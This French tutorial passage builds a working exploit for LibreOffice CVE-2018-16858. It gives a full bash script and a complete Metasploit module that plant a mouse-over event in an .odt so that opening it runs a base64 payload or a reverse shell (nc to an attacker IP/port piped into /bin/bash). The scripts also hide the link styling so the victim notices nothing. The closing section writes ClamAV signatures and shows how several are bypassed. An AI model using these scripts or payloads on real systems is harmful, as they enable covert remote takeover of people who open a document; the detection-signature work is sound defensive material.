Comme on ne sait pas a priori comment le fichier est structuré ni où placer le style dans le fichier de styles, on va procéder à une simplification un peu grossière mais efficace. On cherchera les balises de fin de style </style:style> et on ajoutera à la fin la définition de style proposée. On ne saura pas exactement à quelle position du fichier la balise apparaîtra, mais cela permet d'éviter de définir des règles plus complexes pour que les hyperliens ne soient pas soulignés, afin que la personne ouvrant le fichier ne puisse pas détecter l'erreur a priori.
Comme dans le cas précédent, on effectue ces modifications avec la commande sed comme suit :
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
Le cas est analogue au précédent, on fait ce qui est décrit dans les lignes précédentes. On affiche le contenu du fichier styles.xml.new et dans le premier sed on renomme le style des hyperliens en ajoutant un 2 à la fin. Dans le second sed, on ajoute le style défini manuellement et après la modification, on redirige le tout vers le fichier styles.xml qui sera conservé, en supprimant le fichier styles.xml.NEW avec la commande rm.
La dernière étape consiste à recompacter le tout dans un nouveau fichier zip avec la commande linux zip. On peut à nouveau vérifier le succès de la commande avec la variable bash $? qui retourne 0 en cas de succès.
Le code de cette dernière partie finale sera le suivant :
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
Le code final du script complet aura une forme similaire à la suivante :if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;
Dans cette section, nous allons créer un module metasploit qui permettra de réaliser la même chose que dans la section précédente, mais en intégrant le module dans la suite metasploit et en ayant la capacité d'utiliser les payloads intégrés dans cette suite. Il faut noter que ce module générera un fichier de type .odt et qu'il faudra mettre en place un handler pour pouvoir se connecter à la machine où le document office sera ouvert.
Les modules metasploit sont généralement programmés en langage Ruby, et utilisent les bibliothèques et classes Ruby ainsi que celles propres à metasploit pour faciliter l'intégration avec le reste de la suite.
Le module que nous souhaitons générer sera basé sur l'exploitation d'un exploit dont l'exploitation impliquera l'utilisation d'un payload qui est ce que l'on souhaite exécuter. Par conséquent, notre module va hériter de la classe metasploit Msf::Exploit. Parmi les particularités de cette classe, on peut définir un payload à exécuter lors de l'utilisation du module.
Nous allons travailler avec des fichiers qui seront ouverts et fermés, ainsi qu'avec des fichiers zip. Nous utiliserons donc également les bibliothèques fileutils et zip pour pouvoir décompresser le fichier .odt ainsi que modifier le contenu des fichiers content.xml et styles.xml.
L'en-tête du module commencera donc par les lignes suivantes:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
Maintenant, nous allons commencer à définir la classe que nous composons. Dans un premier temps, nous devons définir les différents attributs du module. Ils seront tous introduits dans la fonction d'initialisation qui fera simplement un appel à la classe supérieure super pour initialiser les attributs de la classe Exploit. Dans cette partie, il n'y a pas de logique de programme à programmer, seulement des variables et des valeurs à définir.
En ce qui concerne la définition des attributs, les attributs à définir sont les suivants:
Nom pour définir le nom du module (Name). Description qui permet de donner une description qui sera affichée lors de la consultation de l'aide du module (Description). Licence pour définir la licence spécifique que l'on souhaite donner au module généré (License). Auteur pour définir qui a réalisé un module donné (Author). Références qui doivent citer le CVE ou la référence de l'erreur exploitée dans le module en cours d'implémentation (References). Plateforme qui permet de définir sur quel(s) système(s) d'exploitation le module peut être utilisé (Platform). Architecture qui définit le type de CPU sur lequel le module peut être exécuté (Arch). Payload dans lequel on peut définir les caractéristiques du payload utilisable dans l'exploit ('Payload'). Dans cet attribut, la taille ('size') sera particulièrement importante, généralement liée à la taille du buffer qui exécute le code, et la nécessité ou non d'effectuer une transformation des octets du payload pour son exécution (DisableNops). Objectifs, qui sont liés aux payloads exécutables via l'exploit en cours de définition (Target). Il est important de bien définir cet attribut pour que l'utilisateur du module ne puisse pas introduire de payloads erronés lors de l'exécution du module. Enfin, les options à enregistrer permettent l'introduction de nouvelles variables à utiliser lors de l'exécution de l'exploit (register_options). On définira de nouveaux éléments qui peuvent être de différents types. Dans notre cas, nous définirons une variable de type chemin qui définira le chemin vers le fichier .odt que l'on souhaite troyaniser, et un attribut de type chaîne qui définit le nouveau nom que portera le fichier .odt dans lequel sera enregistré le fichier troyanisé. Ainsi, le fichier original ne sera pas modifié, mais un nouveau fichier troyanisé sera généré. Pour définir un attribut de type chemin, on fera appel au constructeur de la classe optPath et pour celui de type chaîne, on utilisera la classe optString.
L'initialisation de ces attributs consiste simplement à attribuer des valeurs ; dans le module, cela se présentera comme suit:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
Avec ce qui a été défini dans l'initialisation, nous sommes désormais en mesure de générer la partie logique de l'exploit, dans laquelle nous effectuerons les mêmes actions que celles définies dans l'exploit réalisé en bash, mais cette fois en langage ruby utilisé par metasploit. Nous ferons exactement la même chose, mais en utilisant les fonctionnalités propres au langage ruby.
La fonction à définir, que metasploit appelle lorsque l'on tape exploit ou run dans msfconsole, doit s'appeler exploit. À l'intérieur de cette fonction, nous définirons le programme qui effectue les actions pertinentes en fonction des attributs définis dans l'initialisation de l'objet créé.
La première chose à faire sera de vérifier que les noms de fichiers définis par l'utilisateur se terminent par .odt. Cela peut être fait en vérifiant le contenu des variables datastore['INPUT'] et datastore['OUTPUT']. On peut utiliser la méthode to_s qui convertit en string et end_with qui permet de savoir si la chaîne se termine ou non par une valeur donnée. Par exemple, l'appel suivant:
datastore['INPUT'].to_s.end_with?('.odt')
Renvoie vrai si le chemin d'entrée se termine par .odt ou faux sinon. La vérification se présentera donc comme suit:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
Une fois cette vérification effectuée, nous commencerons à décompresser le fichier pour modifier le contenu de content.xml et styles.xml de la même manière que dans la section précédente. Nous utiliserons la classe Zip qui permet d'ouvrir et de lire les fichiers zip en mémoire sans avoir à écraser le contenu directement dans un fichier de sortie. Cela se fait via un appel à Zip::File.open ; en appelant cette méthode, nous obtiendrons un objet qui contiendra ensuite un attribut de type itérateur. Avec cet attribut, nous pourrons lire chaque fichier décompressé en mémoire. L'appel que nous effectuerons, connecté au datastore généré (qui contient le chemin vers le fichier .zip), et dont l'itérateur enregistrera chaque fichier décompressé dans la variable entry, sera le suivant:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
Le fichier zip est ouvert dans un objet appelé zipfile, et on en prend l'itérateur via each, qui est stocké dans la variable entry. Cette variable permet d'accéder directement aux fichiers décompressés et à leurs attributs. Avec entry.name, on peut accéder au nom du fichier original. Comme nous souhaitons modifier les fichiers nommés styles.xml et contents.xml, une simple comparaison permettra de lire le fichier pour effectuer les modifications. Les autres fichiers conserveront leur contenu inchangé. La variable entry dispose également d'une méthode appelée get_input_stream, de sorte que l'on peut manipuler les fichiers du zip de manière similaire à n'importe quel fichier sur le disque dur. La classe inputStream possède une méthode read qui vide directement tout le contenu du fichier dans une variable. Enfin, la variable entry dispose également de la méthode is_directory qui permet de savoir si le fichier contenu dans le zip est un fichier ou un répertoire. Ainsi, s'il s'agit d'un répertoire, on pourra l'ignorer et ne pas le lire avec la méthode read, car c'est un élément de la structure du zip lui-même qui n'a pas de contenu en soi. Avec toutes ces méthodes, nous sommes en mesure de générer la structure générale de l'algorithme, qui différenciera si le fichier est l'un des fichiers à modifier, un fichier qui ne doit pas être modifié, ou simplement un répertoire. La structure générale de cette partie sera la suivante:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
Si le fichier à lire s'appelle content.xml, on doit insérer le payload choisi par l'utilisateur ; s'il s'appelle styles.xml, on doit modifier le style des hyperliens ; et enfin, s'il ne s'agit d'aucun de ces fichiers, dans le cas où ce n'est pas un répertoire, on doit simplement insérer le fichier sans aucune modification.
Le traitement idéal serait d'insérer les fichiers dans le nouveau document au fur et à mesure de leur lecture. Ainsi, de la même manière que nous avons ouvert le fichier en lecture via la classe Zip, nous ouvrirons un autre fichier en écriture dans lequel nous inclurons les fichiers dans l'archive compressée à la volée.
De manière similaire, nous effectuons un appel à la méthode File.open de la classe Zip et utilisons la variable retournée pour insérer dans le fichier à ouvrir les différents fichiers que nous souhaitons dans l'archive de sortie. Le premier paramètre de la méthode est le nom du fichier obtenu à partir du nom que l'utilisateur a décidé de donner via l'interface msfconsole. On accède à ce nom via la variable datastore['OUTPUT']. Comme deuxième paramètre, on spécifie que l'on souhaite créer un nouveau fichier zip via la constante Zip::File::CREATE. De manière similaire à l'ouverture en lecture, la ligne de programme à insérer sera la suivante:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Comme dit précédemment, ce sera la variable outzip qui sera utilisée pour insérer de nouvelles données dans le zip. De même que pour lire un fichier du zip on pouvait utiliser la méthode get_input_stream, pour écrire dans celui-ci on utilisera l'analogue get_output_stream et la méthode write pour introduire des contenus dans le fichier. La donnée d'entrée pour la méthode get_output_stream est le nom du fichier. Ainsi, en pouvant accéder au nom du fichier lu via entry.name et au contenu du fichier lu via entry.get_input_stream.read pour lire le fichier du zip et le déverser directement dans le fichier zip de sortie, on peut faire ce qui suit:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
Comme on peut le voir, data contiendra le contenu complet du fichier. Par conséquent, si le nom du fichier d'entrée est styles.xml ou contents.xml, il faudra modifier ce contenu avant de le déverser ; dans les autres cas, aucune modification n'est nécessaire.
Comme c'était le cas avec la commande sed en ligne de commande, Ruby dispose de la fonction gsub qui fonctionne exactement de la même manière que cette commande. Dans le cas du fichier de styles, on pourra exécuter la fonction sub de la manière suivante:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
Comme on peut le voir, rien de particulièrement remarquable dans cette fonction. On fait exactement la même chose que dans le cas de l'exploit en bash. Une fois cette modification effectuée, on peut déverser la variable data dans le fichier de sortie du zip.
Le cas du contents.xml nécessite d'insérer le payload sélectionné par l'utilisateur. Il faudra donc le charger dans une variable au format base64, puis l'insérer à l'endroit nécessaire dans le fichier. Le contenu du payload à exécuter est accessible via la variable payload. Comme nous avons besoin d'un payload au format exécutable, nous appellerons la méthode encoded_exe() qui permet d'accéder à un payload au format exécutable plutôt que d'accéder aux instructions sans la partie nécessaire à l'exécution en tant que commande indépendante. Comme nous avons besoin d'un format base64, nous coderons le binaire en base64 via la classe REX en appelant la méthode Text.encode_base64 qui attend en entrée les données à coder. Les instructions à insérer dans le programme se présenteront comme suit:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
Ainsi, b64_payload contient le payload exécutable en base64. Enfin, nous utiliserons des modifications analogues à celles réalisées avec la commande sed, où nous insérerons le mot PAYLOAD à la place du code base64 que nous appliquions dans la section précédente. Au résultat obtenu après toutes les modifications, nous ajouterons un nouveau gsub équivalent à une dernière modification dans laquelle le littéral PAYLOAD sera remplacé par le contenu de la variable b64_payload. Le code se présentera comme suit:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
Avec cela, tout le fonctionnement souhaité pour le module est résolu. Le code complet du module sera le suivant:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
Une fois le programme généré, il sera sauvegardé dans un fichier nommé libreoffice.rb et copié dans le chemin /modules/exploits/linux/misc. La prochaine fois que msfconsole sera exécutée, ce nouveau module sera chargé. Il pourra être utilisé comme les autres modules en exécutant :
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
Où l'on pourra visualiser les options :
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes Chemin et nom du fichier .odt existant dans lequel injecter la payload sélectionnée.
OUTPUT yes Chemin et nom pour créer un nouveau fichier .odt infecté.
Exploit target:
Id Name
-- ----
0 linux
Et l'on pourra choisir un fichier d'entrée en définissant une valeur pour INPUT, une valeur pour OUTPUT et en définissant une payload compatible avec la commande set payload.
Après avoir généré le fichier odt de sortie, on utilisera le handler générique use exploit/multi/handler avec une payload compatible avec celle choisie lors de la génération du fichier .odt
En dernière étape, on va générer une série de signatures antivirus permettant de détecter le backdoor généré afin de pouvoir éviter cette menace. Étant donné que la plupart des antivirus sont à code fermé, on utilisera le logiciel antivirus ClamAV qui est open source et peut être exécuté sur toutes les plateformes.
La première signature à réaliser sera une signature de type statique. Ce sont les plus faciles à réaliser, mais aussi les plus faciles à contourner. Ce type de signatures consistera principalement en un hash statique et une taille de fichier. Le format exigé par l'antivirus ClamAV est qu'un fichier avec l'extension .hdb contienne des lignes commençant par le hash (md5 ou sha1) suivi de la taille en octets et du nom du virus souhaité. Chaque ligne ne contiendra qu'une seule définition de virus et chaque champ sera séparé par le symbole :.
Si nous avons le fichier exploit.odt pour lequel nous souhaitons réaliser la signature, on peut opter pour calculer le hash md5 ou sha1, ce qui peut être fait facilement avec les commandes md5sum et sha1sum de Linux. Les commandes s'exécutent simplement avec le nom de la commande suivi du fichier à calculer, de manière similaire à ce qui suit :
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
Pour le calcul de la taille du fichier, le plus simple est de le faire avec la commande ls en passant le chemin vers le fichier de manière similaire à ce qui suit :
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
Ainsi, on peut opter pour générer un fichier avec l'extension .hdb avec le hash md5 ou sha1 et la taille obtenue, ce qui donne :
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
Lors de l'exécution de ClamAV, il faudra spécifier que l'on va utiliser le fichier de signatures en cours de génération. Ainsi, pour vérifier les virus en utilisant la base de données appelée LibreOfficeSign.hdb, on exécutera de la manière suivante :
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
Ce type de signatures est très sensible : au moindre changement dans le malware, l'antivirus ne pourra plus le reconnaître. Le hash utilisé pour la signature, qu'il soit md5 ou sha1, fera que tout changement de bit dans le fichier empêchera sa détection. Si l'on fait simplement un unzip du .odt généré et que l'on change une lettre du texte du document, par exemple un a en A, cela suffirait à contourner l'antivirus.
On va réaliser une signature un peu plus intelligente en profitant du système de signatures dynamiques de ClamAV. Ce type de signatures doit être placé dans un fichier avec l'extension .ndb au lieu de .hdb. Le format des signatures dans le fichier, bien que similaire à celui mentionné précédemment, n'utilise pas de hashes du fichier complet mais des identifiants à l'intérieur du fichier. On effectuera certaines comparaisons de certaines chaînes d'un fichier pour que, si elles sont présentes, il soit détecté comme un malware.
Le format commence par le nom de la menace, suivi du type de fichier qui doit contenir le malware. Le nombre 0 correspond au fait que le malware peut se trouver dans n'importe quel type de fichier. On a 1 pour définir que le malware n'affecte qu'un exécutable exe 32 ou 64 bits, 6 pour définir qu'il ne se trouve que dans les exécutables de type ELF d'Unix, ou 7 pour définir qu'il s'agit de fichiers de type ASCII. Le champ suivant spécifie le nombre d'octets à partir duquel commencer la comparaison des octets de la chaîne que l'on souhaite identifier dans le fichier. On peut utiliser le wildcard * pour définir que la chaîne peut commencer n'importe où dans le fichier. Ensuite, on spécifie la chaîne d'octets qui permet d'identifier le malware. La définition de la recherche sera composée des codes hexadécimaux mis bout à bout.
L'une des façons d'obtenir les codes hexadécimaux d'un fichier donné est d'utiliser l'outil sigtool : on lui donne l'entrée en octets via l'entrée standard et il nous renvoie la représentation hexadécimale directement pour pouvoir l'utiliser dans la signature. Un autre outil similaire pourrait être hexdump, mais sa sortie nécessite certaines modifications. Par souci de simplicité, on réalisera la signature avec l'outil sigtool.
La partie du fichier que nous rechercherons dans la deuxième signature que nous souhaitons réaliser sera très simple : le chemin utilisé avec le directory transversal jusqu'à la partie d'exécution du fichier os.py, de sorte que même si quelque chose est modifié dans le fichier office lui-même, pour pouvoir exécuter le code du backdoor, ce chemin doit au moins être présent dans le fichier. On obtient d'abord les caractères en hexadécimal avec la commande suivante :
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
Il est important d'inclure le paramètre -n dans la commande echo pour qu'aucun saut de ligne ne soit imprimé à la fin. Et le résultat de la commande sigtool sera la recherche appliquée comme signature que l'antivirus pourra détecter sur le .odt trojanisé.
On ne peut pas définir un offset concret pour le début de la recherche car cela dépendra de la structure de chaque document .odt ; c'est pourquoi on mettra un * dans le champ d'offset. Comme type de fichier, on définira un 0 pour que la recherche par l'antivirus s'effectue sur tout type de fichier. On définira un nom et la signature finale pourrait ressembler à ceci :
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
La signature sera stockée dans le fichier LibreOfficeSign.ndb ; ce qui importe dans le nom du fichier est l'extension. On pourrait de nouveau exécuter clamav pour vérifier si la signature générée permet de détecter le cheval de Troie. Le résultat sera similaire à ceci :
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)
Bien que la manière de contourner la détection de l'antivirus avec cette signature soit plus compliquée, il ne suffit pas de modifier n'importe quelle partie du texte du document office. On peut encore contourner le scan de l'antivirus de manière relativement évidente, car la définition de la signature a utilisé un nombre spécifique de ../. Lors de la génération de l'exploit, le nombre de remontées doit être défini comme un nombre relativement élevé pour permettre d'atteindre le répertoire racine depuis n'importe quel chemin sous Linux. Ainsi, en supprimant simplement un des ../ dans le chemin, l'exploit continuera à fonctionner et exécutera la porte dérobée générée. Par conséquent, on utilisera une définition un peu plus avancée des signatures qui permette la détection de malwares à l'aide d'expressions régulières, et non des signatures trop figées qui ne détecteraient pas le malware suite à des modifications très simples.
On va procéder à l'utilisation d'une signature simple qui permette de détecter le malware dès qu'une tentative de directory transversal est détectée. De plus, à des fins purement éducatives, on utilisera le wildcard * qui permet de définir un nombre consécutif indéterminé de n'importe quel caractère. Il existe d'autres wildcards similaires, comme ?? qui permet de détecter n'importe quel caractère apparaissant une seule fois. On peut également utiliser le wildcard {n} pour détecter un nombre n d'octets, et {-n} et {n-} pour définir respectivement un nombre de n octets ou moins, ou n octets ou plus.
On utilisera la section d'octets qui précède le directory transversal et définie par les données pythonSamples| qui devront être obtenues au format hexadécimal :
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c
On obtiendra également le code hexadécimal de ../ de la même manière :
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f
De sorte que la signature ajoutée au fichier sera la concaténation des deux séquences de caractères hexadécimaux via un , c'est-à-dire 707974686f6e53616d706c65737c2e2e2f. La signature complète qui figurera dans le fichier LibreOfficeSign.ndb sera donc la suivante :
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f
Lors de la vérification en retirant un des ../ de chaque hyperlien du fichier contents.xml, en recomposant le fichier .odt et en le vérifiant avec l'antivirus, le résultat sera le suivant :
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)